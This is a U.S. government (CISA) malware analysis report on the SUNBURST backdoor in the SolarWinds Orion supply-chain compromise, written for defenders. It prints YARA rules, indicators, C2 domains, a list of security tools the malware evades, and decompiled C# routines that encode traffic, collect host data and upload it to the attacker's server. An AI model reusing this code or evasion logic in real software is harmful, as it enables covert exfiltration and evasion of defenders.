Malware Analysis Report (AR21-039A)

MAR-10318845-1.v1 - SUNBURST

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Updated April 15, 2021: The U.S. Government attributes this activity to the Russian Foreign Intelligence Service (SVR). Additional information may be found in a statement from the White House. For more information on SolarWinds-related activity, go to https://us-cert.cisa.gov/remediating-apt-compromised-networks and https://www.cisa.gov/supply-chain-compromise.

Malware Analysis Report
10318845.r1.v1
2021-02-05

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This report provides detailed analysis of several malicious artifacts associated with a sophisticated supply chain compromise of SolarWinds Orion network management software, identified by the security company FireEye as SUNBURST.

After being delivered as part of certain SolarWinds updates, a trojanized version of the “solarwinds.orion.core.businesslayer.dll” containing SUNBURST malware is installed by a legitimate SolarWinds installer application. The modified dynamic-link library (DLL) contains an obfuscated backdoor that allows a remote operator to execute various functions on the compromised system, as well as deploy additional payloads and exfiltrate data. The embedded SUNBURST code encrypts its outbound communications to the remote operator using XOR encryption and modified Base64 encoding. To maintain a low profile, the SUNBURST code will not run if it detects certain security software running on the target system.

For a downloadable copy of IOCs, see: MAR-10318845-1.v1.stix.

Submitted Files (4)

019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 (SolarWinds.Orion.Core.Business...)

32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 (SolarWinds.Orion.Core.Business...)

ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 (SolarWinds.Orion.Core.Business...)

d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 (SolarWinds-Core-v2019.4.5220-H...)

Domains (1)

avsvmcloud.com

Findings

32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77

Tags

backdoorremote-access-trojantrojan

Details
Name SolarWinds.Orion.Core.BusinessLayer.dll
Size 1011032 bytes
Type PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 b91ce2fa41029f6955bff20079468448
SHA1 76640508b1e7759e548771a5359eaed353bf1eec
SHA256 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
SHA512 6a81f082f36ccbda48070772c5a97e1d7de61ad77465e7befe8cbd97df40dcc5da09c461311708e3d57527e323484b05cfd3e72a3c70e106e47f44cc77584bd7
ssdeep 12288:Zx7m/z9aEBzvnvLtYAi6uLlYQ69BBpIvF1tjpH7BKi+0A8vca9owQ:6aEBTvRBi6uL6dIvDtjpH9+0A8vca9oD
Entropy 5.582827
Antivirus
Ahnlab Backdoor/Win32.SunBurst
Antiy Trojan[Backdoor]/MSIL.Agent
Avira TR/Sunburst.AO
BitDefender Trojan.Sunburst.A
Clamav Win.Countermeasure.Sunburst-9809152-0
Comodo Backdoor
Cyren W32/Trojan.BCCG-2955
ESET a variant of MSIL/SunBurst.A trojan
Emsisoft Trojan.Win32.Sunburst (A)
Ikarus Backdoor.Sunburst
K7 Trojan ( 00574a531 )
Lavasoft Trojan.Sunburst.A
McAfee Trojan-sunburst
Microsoft Security Essentials Trojan:MSIL/Solorigate.BR!dha
NANOAV Trojan.Win32.SunBurst.iduxjk
Sophos Mal/Sunburst-A
Symantec Backdoor.Sunburst!gen1
Systweak trojan-backdoor.sunburst-r
TrendMicro Backdoo.6F8C6A1E
TrendMicro House Call Backdoo.6F8C6A1E
Vir.IT eXplorer Trojan.Win32.SunBurst.A
VirusBlokAda TScope.Trojan.MSIL
Zillya! Backdoor.Sunburst.Win32.2
YARA Rules
  • rule CISA_10318927_01 : trojan rat SOLAR_FIRE
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10318927"
           Date = "2020-12-13"
           Last_Modified = "20201213_2145"
           Actor = "n/a"
           Category = "TROJAN RAT"
           Family = "SOLAR_FIRE"
           Description = "This signature is based off of unique strings embedded within the modified Solar Winds app"
           MD5_1 = "b91ce2fa41029f6955bff20079468448"
           SHA256_1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
           MD5_2 = "846e27a652a5e1bfbd0ddd38a16dc865"
           SHA256_2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
       strings:
           $s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 }
           $s1 = { 41 00 41 00 3D 00 3D 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 }
           $s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D }
           $s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00 42 }
       condition:
    all of them
    }
  • rule FireEye_20_00025668_01 : SUNBURST APT backdoor
    {
       meta:
           Author = "FireEye"
           Date = "2020-12-13"
           Last_Modified = "20201213_1917"
           Actor = "n/a"
           Category = "Backdoor"
           Family = "SUNBURST"
           Description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
           MD5_1 = ""
           SHA256_1 = ""
       strings:
           $cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
           $cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
           $fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
           $fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
           $fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
           $fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
           $fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
           $fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
           $fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
       condition:
           $fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or ( ($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_message_plain) )
    }
  • rule FireEye_20_00025668_02 : SUNBURST APT backdoor
    {
       meta:
           Author = "FireEye"
           Date = "2020-12-13"
           Last_Modified = "20201213_1917"
           Actor = "n/a"
           Category = "Backdoor"
           Family = "SUNBURST"
           Description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
           MD5_1 = ""
           SHA256_1 = ""
       strings:
           $a = "0y3Kzy8BAA==" wide
           $aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
           $ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
           $ac = "C88sSs1JLS4GAA==" wide
           $ad = "C/UEAA==" wide
           $ae = "C89MSU8tKQYA" wide
           $af = "8wvwBQA=" wide
           $ag = "cyzIz8nJBwA=" wide
           $ah = "c87JL03xzc/LLMkvysxLBwA=" wide
           $ai = "88tPSS0GAA==" wide
           $aj = "C8vPKc1NLQYA" wide
           $ak = "88wrSS1KS0xOLQYA" wide
           $al = "c87PLcjPS80rKQYA" wide
           $am = "Ky7PLNAvLUjRBwA=" wide
           $an = "06vIzQEA" wide
           $b = "0y3NyyxLLSpOzIlPTgQA" wide
           $c = "001OBAA=" wide
           $d = "0y0oysxNLKqMT04EAA==" wide
           $e = "0y3JzE0tLknMLQAA" wide
           $f = "003PyU9KzAEA" wide
           $h = "0y1OTS4tSk1OBAA=" wide
           $i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
           $j = "c8rPSQEA" wide
           $k = "c8rPSfEsSczJTAYA" wide
           $l = "c60oKUp0ys9JAQA=" wide
           $m = "c60oKUp0ys9J8SxJzMlMBgA=" wide
           $n = "8yxJzMlMBgA=" wide
           $o = "88lMzygBAA==" wide
           $p = "88lMzyjxLEnMyUwGAA==" wide
           $q = "C0pNL81JLAIA" wide
           $r = "C07NzXTKz0kBAA==" wide
           $s = "C07NzXTKz0nxLEnMyUwGAA==" wide
           $t = "yy9IzStOzCsGAA==" wide
           $u = "y8svyQcA" wide
           $v = "SytKTU3LzysBAA==" wide
           $w = "C84vLUpOdc5PSQ0oygcA" wide
           $x = "C84vLUpODU4tykwLKMoHAA==" wide
           $y = "C84vLUpO9UjMC07MKwYA" wide
           $z = "C84vLUpO9UjMC04tykwDAA==" wide
       condition:
           ($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($aa or $ab)) or ($t and $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and $aj and $ak and $al and ($am or $an))
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 2020-03-24 04:52:34-04:00
Import Hash dae02f32a21e03ce65412f6e56942daa
Company Name SolarWinds Worldwide, LLC.
File Description SolarWinds.Orion.Core.BusinessLayer
Internal Name SolarWinds.Orion.Core.BusinessLayer.dll
Legal Copyright Copyright © 1999-2020 SolarWinds Worldwide, LLC. All Rights Reserved.
Original Filename SolarWinds.Orion.Core.BusinessLayer.dll
Product Name SolarWinds.Orion.Core.BusinessLayer
Product Version 2019.4.5200.9083
PE Sections
MD5 Name Raw Size Entropy
9f1dcf8b4df81fdd1e33e8157fb58d9f header 512 2.890704
ac9dc455a67c7f2c9f10725d66c115d1 .text 1001472 5.569219
69a064c0b6001299af109ed0d06f6c6f .rsrc 1536 3.015713
275a7e1f11b8e5fefa163e47c22129b4 .reloc 512 0.101910
Relationships
32519b85c0... Connected_To avsvmcloud.com
32519b85c0... Contained_Within d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
Description

This file is a 32-bit .NET DLL named "SolarWinds.Orion.Core.BusinessLayer.dll." It is a modified SolarWinds-signed plugin component of the Orion software framework that has been patched with the SUNBURST backdoor. This malicious file was signed with a digital certificate issued by Symantec to SolarWinds. The digital certificate should be considered compromised.

--Begin Digital Certificate Information--
Signer:     CN="Solarwinds Worldwide, LLC", O="Solarwinds Worldwide, LLC", L=Austin, S=Texas, C=US
Issuer:     CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=SymantecCorporation, C=US
SN:         0FE973752022A606ADF2A36E345DC0ED
Not Before: 1/20/2020 7:00:00 PM
Not After: 1/20/2023 6:59:59 PM
Thumbprint: 47D92D49E6F7F296260DA1AF355F941EB25360C4
Status:     Valid
StatusMsg: Signature verified.
--End Digital Certificate Information--

SUNBURST provides the following capabilities on a compromised system, which are discussed in further detail below.

- Sets a 12 to 14 day delayed execution time
- Stealth
- Command and Control (C2) communication
- Collect system information
- Upload system information from the victim system
- Run specified tasks
- Terminate processes
- Download, read, write, move, delete, and execute files
- Compute file hashes
- Reboot the system
- Adjust process privileges


**DELAYED EXECUTION**
SUNBURST is executed by a legitimate SolarWinds software application designed to load and run SolarWinds plugins. Once installed, it compares its last write time to a randomly generated value between 288 and 336 hours (12 - 14 days) after the file was written. The malware will sleep until this calculated time frame has passed, after which, the malware will begin C2 sessions to retrieve and execute commands or "Jobs” on behalf of the adversary.

**STEALTH**
SUNBURST uses obfuscated blocklists consisting of hashed process and service names to identify analysis tools and antivirus software components running as processes, services, and drivers. It utilizes a modified version of the FNV-1a hash algorithm to determine if specific processes are running on the target system. It will enumerate and hash the process names of all running processes and compare the generated hashes to a hard-coded blocklist. If no block-listed processes are found, it will attempt to resolve the domain "api.solarwinds.com" to test for network connectivity. If a block-listed process is found, it does not proceed with its C2 session. This evasion technique is used to keep it from being detected. The hard coded hashed process names are stored in an unsigned LONG list named "assemblyTimeStamps." See “**BLOCK LIST CHECKING FUNCTIONS**” below in this report for details.

--Begin hard-coded list of block-listed processes and names--
1475579823244607677         100-continue
2734787258623754862         accept
1368907909245890092         afwserv
16858955978146406642        apac.lab
2597124982561782591         apimonitor-x64
2600364143812063535         apimonitor-x86
6195833633417633900         aswengsrv
2934149816356927366         aswidsagent
13029357933491444455        aswidsagenta
15194901817027173566        atrsdfw.sys
4821863173800309721         autopsy
13464308873961738403        autopsy64
3320026265773918739         autoruns
12969190449276002545        autoruns64
10657751674541025650        autorunsc
12094027092655598256        autorunsc64
2760663353550280147         avastavwrapper
8146185202538899243         avastsvc
11818825521849580123        avastui
11109294216876344399        avgadminclientservice
2797129108883749491         avgidsagent
3660705254426876796         avgsvc
3890794756780010537         avgsvca
3890769468012566366         avgsvcx
12709986806548166638        avgui
14095938998438966337        avgwdsvcx
13611051401579634621        avp
18147627057830191163        avpui
16423314183614230717        bccavsvc
11913842725949116895        binaryninja
5449730069165757263         blacklight
12679195163651834776        brcow_x_x_x_x.sys
1614465773938842903         brfilter.sys
11385275378891906608        carbonblack
13693525876560827283        carbonblackk
17204844226884380288        cavp
5984963105389676759         cb
17849680105131524334        cbcomms
18246404330670877335        cbstream
292198192373389586            cff explorer
14226582801651130532        close
11266044540366291518        connection
6116246686670134098         content-type
10734127004244879770        cork.lab
18159703063075866524        crexecprev.sys
11771945869106552231        csagent
9234894663364701749         csdevicecontrol
9061219083560670602         csfalconcontainer
8698326794961817906         csfalconservice
12790084614253405985        cutter
16570804352575357627        cve.sys
17097380490166623672        cybkerneltracker.sys
16066522799090129502        date
5219431737322569038         de4dot
15535773470978271326        debugview
11073283311104541690        dev.local
3626142665768487764         dgdmk.sys
7810436520414958497         diskmon
4030236413975199654         dmz.local
13316211011159594063        dnsd
13825071784440082496        dnspy
14480775929210717493        dotpeek32
14482658293117931546        dotpeek64
8473756179280619170         dumpcap
15587050164583443069        eamonm
12718416789200275332        eaw.sys
9559632696372799208         eelam
607197993339007484            egui
14513577387099045298        eguiproxy
4931721628717906635         ehdrv
14079676299181301772        ekbdflt
3200333496547938354         ekrn
2589926981877829912         ekrnepfw
8727477769544302060         emea.sales
17939405613729073960        epfw
17997967489723066537        epfwwfp
3778500091710709090         evidence center
8799118153397725683         exeinfope
8873858923435176895         expect
13783346438774742614        f-secure filter
16112751343173365533        f-secure gatekeeper
17624147599670377042        f-secure gatekeeper handler starter
3425260965299690882         f-secure hips
16066651430762394116        f-secure network request broker
2380224015317016190         f-secure recognizer
13655261125244647696        f-secure webui daemon
12027963942392743532        fakedns
576626207276463000            fakenet
9384605490088500348         fe_avk
15092207615430402812        feelam
6274014997237900919         fekern
3320767229281015341         fewscservice
7412338704062093516         ffdec
682250828679635420            fiddler
13014156621614176974        fileinsight
18150909006539876521        floss
5587557070429522647         fnrb32
12445177985737237804        fsaua
12445232961318634374        fsaus
17017923349298346219        fsav32
9333057603143916814         fsbts
541172992193764396            fsdevcon
10393903804869831898        fsdfw
3413052607651207697         fses
3407972863931386250         fsfw
10545868833523019926        fsgk32
521157249538507889            fsgk32st
3421213182954201407         fsma
15039834196857999838        fsma32
3421197789791424393         fsms
3413886037471417852         fsni
17978774977754553159        fsorsp
14243671177281069512        fsorspclient
14055243717250701608        fssm32
7315838824213522000         fsvista
14971809093655817917        fswebuid
10336842116636872171        gdb
6943102301517884811         groundling32.sys
13544031715334011032        groundling64.sys
397780960855462669            hexisfsmonitor.sys
13260224381505715848        hiew32
12785322942775634499        hiew32demo
17956969551821596225        hollows_hunter
14256853800858727521        idaq
8709004393777297355         idaq64
8129411991672431889         idr
15514036435533858158        if-modified-since
15997665423159927228        ildasm
10829648878147112121        ilspy
9149947745824492274         jd-gui
13852439084267373191        keep-alive
17633734304611248415        ksde
13581776705111912829        ksdeui
4578480846255629462         lab.brno
8381292265993977266         lab.local
3796405623695665524         lab.na
5942282052525294911         lab.rio
17984632978012874803        libwamf.sys
3656637464651387014         lordpe
2717025511528702475         lragentmf.sys
10501212300031893463        microsoft.tri.sensor
155978580751494388            microsoft.tri.sensor.updater
5183687599225757871         msmpeng
10063651499895178962        mssense
3575761800716667678         officemalscanner
4501656691368064027         ollydbg
7701683279824397773         pci.local
10296494671777307979        pdfstreamdumper
14630721578341374856        pe-bear
6461429591783621719         pe-sieve32
6508141243778577344         pe-sieve64
4088976323439621041         pebrowse64
9531326785919727076         peid
10235971842993272939        pestudio
2478231962306073784         peview
9903758755917170407         pexplorer
14710585101020280896        ppee
2810460305047003196         procdump
13611814135072561278        procdump64
2032008861530788751         processhacker
6491986958834001955         procexp
27407921587843457             procexp64
2128122064571842954         procmon
10484659978517092504        prodiscoverbasic
2532538262737333146         psanhost
835151375515278827            psepfilter.sys
6088115528707848728         psuamain
4454255944391929578         psuaservice
8478833628889826985         py2exedecompiler
10463926208560207521        r2agent
7080175711202577138         rabin2
8697424601205169055         radare2
16130138450758310172        ramcapture
7775177810774851294         ramcapture64
700598796416086955            redcloak
9007106680104765185         referer
506634811745884560            reflector
18294908219222222902        regmon
3588624367609827560         resourcehacker
9555688264681862794         retdec-ar-extractor
5415426428750045503         retdec-bin2llvmir
3642525650883269872         retdec-bin2pat
13135068273077306806        retdec-config
3769837838875367802         retdec-fileinfo
191060519014405309            retdec-getsig
1682585410644922036         retdec-idr2pat
7878537243757499832         retdec-llvmir2hll
13799353263187722717        retdec-macho-extractor
1367627386496056834         retdec-pat2yara
12574535824074203265        retdec-stacofin
16990567851129491937        retdec-unpacker
8994091295115840290         retdec-yarac
13876356431472225791        rundotnetdll
18392881921099771407        rvsavd.sys
5132256620104998637         saas.swi
11801746708619571308        safe-agent.sys
14968320160131875803        sbiesvc
14868920869169964081        scdbg
106672141413120087            scylla_x64
79089792725215063             scylla_x86
16335643316870329598        sense
12343334044036541897        sentinelmonitor.sys
5614586596107908838         shellcode_launcher
17291806236368054941        solarwinds.businesslayerhost
3869935012404164040         solarwindsdiagnostics
15267980678929160412        swdev.dmz
1109067043404435916         swdev.local
14111374107076822891        sysmon
3538022140597504361         sysmon64
7175363135479931834         tanium
3178468437029279937         taniumclient
13599785766252827703        taniumdetectengine
6180361713414290679         taniumendpointindex
8612208440357175863         taniumtracecli
8408095252303317471         taniumtracewebsocketclient64
7982848972385914508         task explorer
8760312338504300643         task explorer-64
17351543633914244545        tcpdump
7516148236133302073         tcpvcon
15114163911481793350        tcpview
7574774749059321801         user-agent
15457732070353984570        vboxservice
16292685861617888592        win32_remote
10374841591685794123        win64_remotex64
3045986759481489935         windbg
917638920165491138            windefend
17109238199226571972        windump
5945487981219695001         winhex
6827032273910657891         winhex64
8052533790968282297         winobj
17574002783607647274        wireshark
3341747963119755850         x32dbg
14193859431895170587        x64dbg
15695338751700748390        xagt
640589622539783622            xagtnotif
17683972236092287897        xwforensics
17439059603042731363        xwforensics64
--End hard-coded list of block-listed processes and names--


**COMMAND AND CONTROL**
During runtime, SUNBURST hashes its own parent process name, and compares it to the value 17291806236368054941. If it does not match, the malicious class “OrionImprovementBusinessLayer” will stop executing and the DLL will continue normal activity.

When communicating with its C2, SUNBURST utilizes the Orion Improvement Program (OIP) protocol to disguise network activity as normal SolarWinds Orion traffic. The connection with the C2 server will contain a randomly generated “customer ID" that allows the adversary to track different compromised systems.

To establish C2, it will construct and resolve the subdomains of "avsvmcloud.com" using a domain generation algorithm (DGA). The following format is used to generate the domain name:

--Begin format of the domain name--
.appsync-api.eu-west-1.avsvmcloud.com
.appsync-api.us-west-2.avsvmcloud.com
.appsync-api.us-east-1.avsvmcloud.com
.appsync-api.us-east-2.avsvmcloud.com
--End format of the domain name--

It will attempt to make a Canonical Name (CNAME) query according to different third-level domain names in combination with the DGA to verify the C2 server is accessible before executing its command control session.

--Begin domain names combined with DGA--
6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud.com
7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com
gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud.com
ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud.com
k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud.com
mhdosoksaccf9sni9icp.appsync-api.eu-west-1.avsvmcloud.com
--End domain names plus DGA--

Outbound communications are encrypted using an embedded class named “CryptoHelper.” The class contains two functions named “CreateSecureString” and “Base64Encode.” The function “CreateSecureString” creates a random byte and then utilizes this random byte to encode the string provided. The randomly generated byte, used as the XOR key, will be stored at offset 0x00 of the encoded string -- allowing the adversary to decrypt the traffic received from this implant. The function “CreateSecureString” takes two arguments, a byte array which will be the data targeted for encryption and a bool variable. If this variable is set to "true" the function will “OR” the generated “XOR” key byte with the value 128 before using it to XOR encode the provided data. It then calls the Base64Encode function to further obfuscate the communication.

--Begin CreateSecureString Function--
private static string CreateSecureString(byte[] data, bool flag)
       {
           byte[] bytes = new byte[data.Length + 1];
           bytes[0] = (byte)new Random().Next(1, (int)sbyte.MaxValue);
           if (flag)
               bytes[0] |= (byte)128;
           for (int index = 1; index < bytes.Length; ++index)
               bytes[index] = (byte)((uint)data[index - 1] ^ (uint)bytes[0]);
           return Base64Encode(bytes, true);
       }
--End CreateSecureString Function--


The Base64Encode function is a modified version of the Base64 algorithm that uses the custom alphabet, "ph2eifo3n5utg1j8d94qrvbmk0sal76c.” This custom Base64 encoding makes it harder to interpret network traffic sent between this malicious implant and the remote C2 server. The custom Base64 alphabet and algorithm utilized would be required to decode the network traffic.

--Begin Base64Encode Function--
private static string Base64Encode(byte[] bytes, bool rt)
    {
       string str1 = OrionImprovementBusinessLayer.ZipHelper.Unzip("K8gwSs1MyzfOMy0tSTfMskixNCksKkvKzTYoTswxN0sGAA==");
       string str2 = "";
       uint num1 = 0;
       int num2 = 0;
       foreach (byte num3 in bytes)
       {
        num1 |= (uint) num3 << num2;
        for (num2 += 8; num2 >= 5; num2 -= 5)
        {
           str2 += str1[(int) num1 & 31].ToString();
           num1 >>= 5;
        }
       }
       if (num2 > 0)
       {
        if (rt)
           num1 |= (uint) (new Random().Next() << num2);
        str2 += str1[(int) num1 & 31].ToString();
       }
       return str2;
    }
--End Base64Encode Function--



**COLLECT SYSTEM INFORMATION**
The collection of system description info is carried out by the CollectSystemDescription function.
It will collect the following information:

Victim domain SID
Domain name
Hostname
Username
Operating System (OS) version
System directory
Environment tick count - the time since the system was last rebooted.

public static void CollectSystemDescription(string info, out string result)
{
result = (string) null;
int i = 0;
string domainName = IPGlobalProperties.GetIPGlobalProperties().DomainName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
domainName;
try
{
string str = ((SecurityIdentifier) new NTAccount(domainName,
OrionImprovementBusinessLayer.ZipHelper.Unzip(Administrator)).Translate(typeof
(SecurityIdentifier))).AccountDomainSid.ToString();
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
str;
}
catch
{
result += OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i);
}
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
IPGlobalProperties.GetIPGlobalProperties().HostName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
Environment.UserName;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
OrionImprovementBusinessLayer.GetOSVersion(true);
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
Environment.SystemDirectory;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) +
(object) (int) TimeSpan.FromMilliseconds((double) (uint)
Environment.TickCount).TotalDays;
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) + info
+ "\n";
result += OrionImprovementBusinessLayer.GetNetworkAdapterConfiguration();
}


The GetNetworkAdapterConfiguration function will gather information on any attached network adapters and their configuration information.

private static string GetNetworkAdapterConfiguration()
{
string str = "";
try
{
using (ManagementObjectSearcher managementObjectSearcher = new
ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip(Select *
From Win32_NetworkAdapterConfiguration where IPEnabled=true)))
{
foreach (ManagementObject managementObject in
managementObjectSearcher.Get().Cast<ManagementObject>())
{
str += "\n";
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(Description));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(MACAddress));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DHCPEnabled));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DHCPServer));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSHostName));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSDomainSuffixSearchOrder));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSServerSearchOrder));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(IPAddress));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(IPSubnet));
str +=
OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject,
OrionImprovementBusinessLayer.ZipHelper.Unzip(DefaultIPGateway));
}
return str;
}
}
catch (Exception ex)
{
return str + ex.Message;
}


**UPLOAD SYSTEM INFORMATION**
The “UploadSystemDescription” function is used to exfiltrate gathered system information. It parses through HTTP session information to form a full HTTP request that is sent to the remote C2 server. The modified version of the FNV-1a hash algorithm is utilized to hash certain words associated with outbound HTTP requests, such as “accept” (Hash: 2734787258623754862) and “content-type” (Hash: 6116246686670134098). It then parses through the provided HTTP session data using these hash values, rather than HTTP strings, to obfuscate the functionality of this code. This obfuscation makes it more difficult to manually or heuristically identify the functions intent to generate an outbound HTTP session.

--Begin UploadSystemDescription Function--
public static void UploadSystemDescription(string[] args, out string result, IWebProxy proxy)
    {
       result = (string) null;
       string requestUriString = args[0];
       string s1 = args[1];
       string s2 = args.Length &gt;= 3 ? args[2] : (string) null;
       string[] strArray = Encoding.UTF8.GetString(Convert.FromBase64String(s1)).Split(new string[3]
       {
        "\r\n",
        "\r",
        "\n"
       }, StringSplitOptions.None);
       HttpWebRequest httpWebRequest1 = (HttpWebRequest) WebRequest.Create(requestUriString);
       HttpWebRequest httpWebRequest2 = httpWebRequest1;
       httpWebRequest2.set_ServerCertificateValidationCallback(httpWebRequest2.get_ServerCertificateValidationCallback() + (RemoteCertificateValidationCallback) ((sender, cert, chain, sslPolicyErrors) =&gt; true));
       httpWebRequest1.Proxy = proxy;
       httpWebRequest1.Timeout = 120000;
       httpWebRequest1.Method = strArray[0].Split(' ')[0];
       foreach (string header in strArray)
       {
        int length = header.IndexOf(':');
        if (length &gt; 0)
        {
           string headerName = header.Substring(0, length);
           string s3 = header.Substring(length + 1).TrimStart((char[]) Array.Empty&lt;char&gt;());
           if (!WebHeaderCollection.IsRestricted(headerName))
           {
            httpWebRequest1.Headers.Add(header);
           }
           else
           {
            switch (OrionImprovementBusinessLayer.GetHash(headerName.ToLower()))
            {
               case 2734787258623754862:
                httpWebRequest1.Accept = s3;
                continue;
               case 6116246686670134098:
                httpWebRequest1.ContentType = s3;
                continue;
               case 7574774749059321801:
                httpWebRequest1.UserAgent = s3;
                continue;
               case 8873858923435176895:
                if (OrionImprovementBusinessLayer.GetHash(s3.ToLower()) == 1475579823244607677UL)
                {
                   httpWebRequest1.ServicePoint.Expect100Continue = true;
                   continue;
                }
                httpWebRequest1.Expect = s3;
                continue;
               case 9007106680104765185:
                httpWebRequest1.Referer = s3;
                continue;
               case 11266044540366291518:
                ulong hash = OrionImprovementBusinessLayer.GetHash(s3.ToLower());
                httpWebRequest1.KeepAlive = hash == 13852439084267373191UL || httpWebRequest1.KeepAlive;
                httpWebRequest1.KeepAlive = hash != 14226582801651130532UL &amp;&amp; httpWebRequest1.KeepAlive;
                continue;
               case 15514036435533858158:
                httpWebRequest1.set_Date(DateTime.Parse(s3));
                continue;
               case 16066522799090129502:
                httpWebRequest1.set_Date(DateTime.Parse(s3));
                continue;
               default:
                continue;
            }
--End UploadSystemDescription Function--

